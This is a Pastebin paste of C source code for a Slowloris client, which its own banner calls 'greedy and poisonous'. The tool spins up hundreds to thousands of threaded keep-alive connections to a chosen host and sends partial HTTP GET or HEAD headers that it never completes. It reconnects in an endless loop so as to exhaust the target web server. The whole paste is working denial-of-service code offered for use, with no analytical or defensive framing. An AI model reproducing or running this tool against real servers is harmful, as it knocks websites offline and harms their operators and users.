Guest User

Untitled

a guest
Feb 21st, 2016
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.98 KB | None | 0 0
  1. #ifndef WIN32
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <pthread.h>
  5. #include <netdb.h>
  6. #else
  7. #include <windows.h>
  8. #endif
  9. #include <stdlib.h>
  10. #include "slowloris.h"
  11. #include <stdio.h>
  12. #include <string.h>
  13. #include <math.h>
  14. #include <errno.h>
  15. #include <signal.h>
  16. #include <unistd.h>
  17.  
  18. char sendhost[1024];
  19. char method[5];
  20. long packetcount = 0;
  21. #ifdef WIN32
  22. int connectionsperthread = 10;
  23. #else
  24. int connectionsperthread = 50;
  25. #endif
  26. struct sockaddr_in connect_data;
  27. long long wait_time;
  28.  
  29. int main( int argc, const char **argv )
  30. {
  31. struct hostent *hp;
  32. #ifndef WIN32
  33. signal( SIGPIPE, SIG_IGN );
  34. #else
  35. int version_req;
  36. WSADATA wsadata;
  37. version_req = 2;
  38. WSAStartup( version_req, &wsadata );
  39. #endif
  40. printf(
  41. "CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::\n"
  42. "CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::\n"
  43. "CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::\n"
  44. "CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::\n"
  45. "CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:\n"
  46. "ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc\n"
  47. "ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo\n"
  48. "oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC\n"
  49. "oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC\n"
  50. "oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO\n"
  51. "CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O\n"
  52. "CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO\n"
  53. "OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO\n"
  54. "OOOOO888@8@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO\n"
  55. "COOO888@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO\n"
  56. "CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC\n"
  57. "coooCCO8@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC\n"
  58. ":ccooooCO888OOOO8OOc..:...::. .co8@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC\n"
  59. ".:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC\n"
  60. "....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo\n"
  61. ".......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc\n"
  62. "...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co\n"
  63. ".............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo\n"
  64. " ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC\n"
  65. " . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco\n"
  66. " . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc\n"
  67. " . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco\n"
  68. " Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client\n");
  69.  
  70. if( !parse_args( argc, argv, global_arg_list, 1 ))
  71. {
  72. return 0;
  73. }
  74.  
  75. if( help )
  76. {
  77. print_args();
  78. return 0;
  79. }
  80.  
  81. if( version )
  82. {
  83. printf("slowloris version 0.1\n");
  84. return 0;
  85. }
  86.  
  87. if(filename[0] != '\0')
  88. {
  89. parse_file( filename );
  90. }
  91.  
  92. if( dns[0] == '\0')
  93. {
  94. printf("Usage:\n\n\t %s -dns [www.example.com] -options\n", argv[0]);
  95. return 0;
  96. }
  97.  
  98. if( httpready )
  99. {
  100. strcpy( method, "POST" );
  101. }
  102. else
  103. {
  104. strcpy( method, "GET" );
  105. }
  106.  
  107. if( timeout <= 0 )
  108. {
  109. timeout = 100;
  110. printf("defaulting to 100 second re-try timeout.\n");
  111. }
  112.  
  113. if( num <= 0)
  114. {
  115. #ifdef WIN32
  116. num = 100;
  117. printf("Defaulting to 100 connections.\n");
  118. #else
  119. num = 1000;
  120. printf("Defaulting to 1000 connections.\n");
  121. #endif
  122. }
  123.  
  124. wait_time = (long long) timeout * 1000000/num; //wait time in MicroSeconds
  125.  
  126. strcpy( sendhost, dns );
  127.  
  128. if((hp = (struct hostent *) gethostbyname(dns)) == NULL)
  129. {
  130. printf("Failed to resolve the host name %s\n", dns);
  131. getchar();
  132. return -1;
  133. }
  134. if(port <= 0)
  135. {
  136. port = 80;
  137. printf("Defaulting to port 80.\n");
  138. }
  139. printf( "Host name %s Resolved to %d.%d.%d.%d, length %d\n", dns,
  140. (unsigned char) hp->h_addr[0], (unsigned char) hp->h_addr[1], (unsigned char) hp->h_addr[2], (unsigned char) hp->h_addr[3], hp->h_length);
  141. memset( &connect_data, 0, sizeof(connect_data));
  142. memcpy( &(connect_data.sin_addr.s_addr), &(hp->h_addr_list[0][0]), 4);
  143. connect_data.sin_family = hp->h_addrtype;
  144. connect_data.sin_port = htons( port );
  145.  
  146. printf( "Connecting to %s:%d every %d seconds with %d sockets:\n", dns, port, timeout, num);
  147.  
  148. domultithreading( num );
  149.  
  150. return 0;
  151. }
  152.  
  153. void doconnections( int num)
  154. {
  155. int *socks = NULL;
  156. int i;
  157. char sendbuf[1024];
  158. char buf[1024];
  159. int written;
  160. socks = malloc( sizeof(*socks) * num );
  161. int random;
  162. //int len;
  163. const int flag = 1; //True for SO_KEEPALIVE
  164.  
  165. while( 1 )
  166. {
  167. for( i = 0; i < num; i++)
  168. {
  169. // Get a free socket
  170. close( socks[i] );
  171. if( (socks[i] = socket( AF_INET, SOCK_STREAM, 0 )) == -1 )
  172. {
  173. printf( "socket call failed %d", i);
  174. }
  175. else
  176. {
  177. #ifdef WIN32
  178. setsockopt(socks[i], SOL_SOCKET, SO_KEEPALIVE,(const char *) &flag, sizeof( flag ));
  179. #else
  180. setsockopt(socks[i], SOL_SOCKET, SO_KEEPALIVE, &flag, sizeof( flag ));
  181. #endif
  182. if( connect( socks[i], (struct sockaddr *) &connect_data, sizeof(struct sockaddr)) == -1)
  183. {
  184. printf("Connect failed: %d, %s\n", errno, strerror( errno ) );
  185. }
  186. else
  187. {
  188. packetcount += 3; //SYN, SYN+ACK, ACK
  189. if( !nopayload )
  190. {
  191. if( !httpready )
  192. {
  193. //Randomly mix between head and get requests.
  194. if( (rand()%2) == 0 )
  195. {
  196. strcpy( method, "HEAD" );
  197. }
  198. else
  199. {
  200. strcpy( method, "GET" );
  201. }
  202. }
  203. if( cache )
  204. {
  205. random = rand();
  206. snprintf( buf, 1024,"%s /%d HTTP/1.1\r\n"
  207. "Host: %s\r\n"
  208. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  209. "Connection: Keep-Alive\r\n"
  210. // "Content-Length: "
  211. , method, random, sendhost);
  212. //len = strlen( buf ) + 3;
  213. //snprintf( sendbuf, 1024, "%s%d\r\n", buf, len );
  214. strcpy(sendbuf, buf);
  215.  
  216. }
  217. else
  218. {
  219. snprintf( buf, 1024,"%s / HTTP/1.1\r\n"
  220. "Host: %s\r\n"
  221. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  222. "Connection: Keep-Alive\r\n"
  223. , method, sendhost);
  224. //len = strlen( buf )+3;
  225. //snprintf( sendbuf, 1024, "%s%d\r\n", buf, len );
  226. strcpy(sendbuf, buf);
  227. }
  228. written = strlen(sendbuf);
  229. #ifndef WIN32
  230. send( socks[i], sendbuf, written, MSG_NOSIGNAL);
  231. #else
  232. send( socks[i], sendbuf, written, 0);
  233. #endif
  234. }
  235. #ifdef WIN32
  236. Sleep( wait_time/1000 );
  237. #else
  238. usleep( wait_time );
  239. #endif
  240. }
  241. }
  242. }
  243. }
  244. }
  245.  
  246.  
  247. void domultithreading( int num )
  248. {
  249. #ifndef WIN32
  250. pthread_t *threads;
  251. pthread_attr_t attr;
  252. #else
  253. HANDLE *threads;
  254. #endif
  255. int pthread_cnt;
  256. int i = 0, j = 0;
  257.  
  258. pthread_cnt = (num/connectionsperthread) + 1;
  259.  
  260. threads = malloc( sizeof(*threads) * pthread_cnt);
  261.  
  262. #ifndef WIN32
  263. pthread_attr_init( &attr );
  264. #endif
  265.  
  266. while( i < num )
  267. {
  268. printf("Creating thread %d of %d\n", j+1, pthread_cnt-1);
  269. #ifndef WIN32
  270. pthread_create( (threads + j), &attr, dothread , NULL );
  271. #else
  272. threads[j] = CreateThread( NULL, 0, dothread, NULL, 0, NULL );
  273. #endif
  274. j++;
  275. i += connectionsperthread;
  276. }
  277.  
  278. while( 1 )
  279. {
  280. #ifdef WIN32
  281. Sleep( 60000 );
  282. #else
  283. sleep(60);
  284. #endif
  285. printf( "Slowloris has now sent %ld packets successfully.\n", packetcount);
  286. }
  287. return;
  288. }
  289.  
  290. #ifndef WIN32
  291. void *dothread( void *args )
  292. #else
  293. DWORD WINAPI dothread( void *args )
  294. #endif
  295. {
  296. doconnections( connectionsperthread );
  297. #ifdef WIN32
  298. return 0;
  299. #else
  300. return NULL;
  301. #endif
  302. }
Advertisement
Add Comment
Please, Sign In to add comment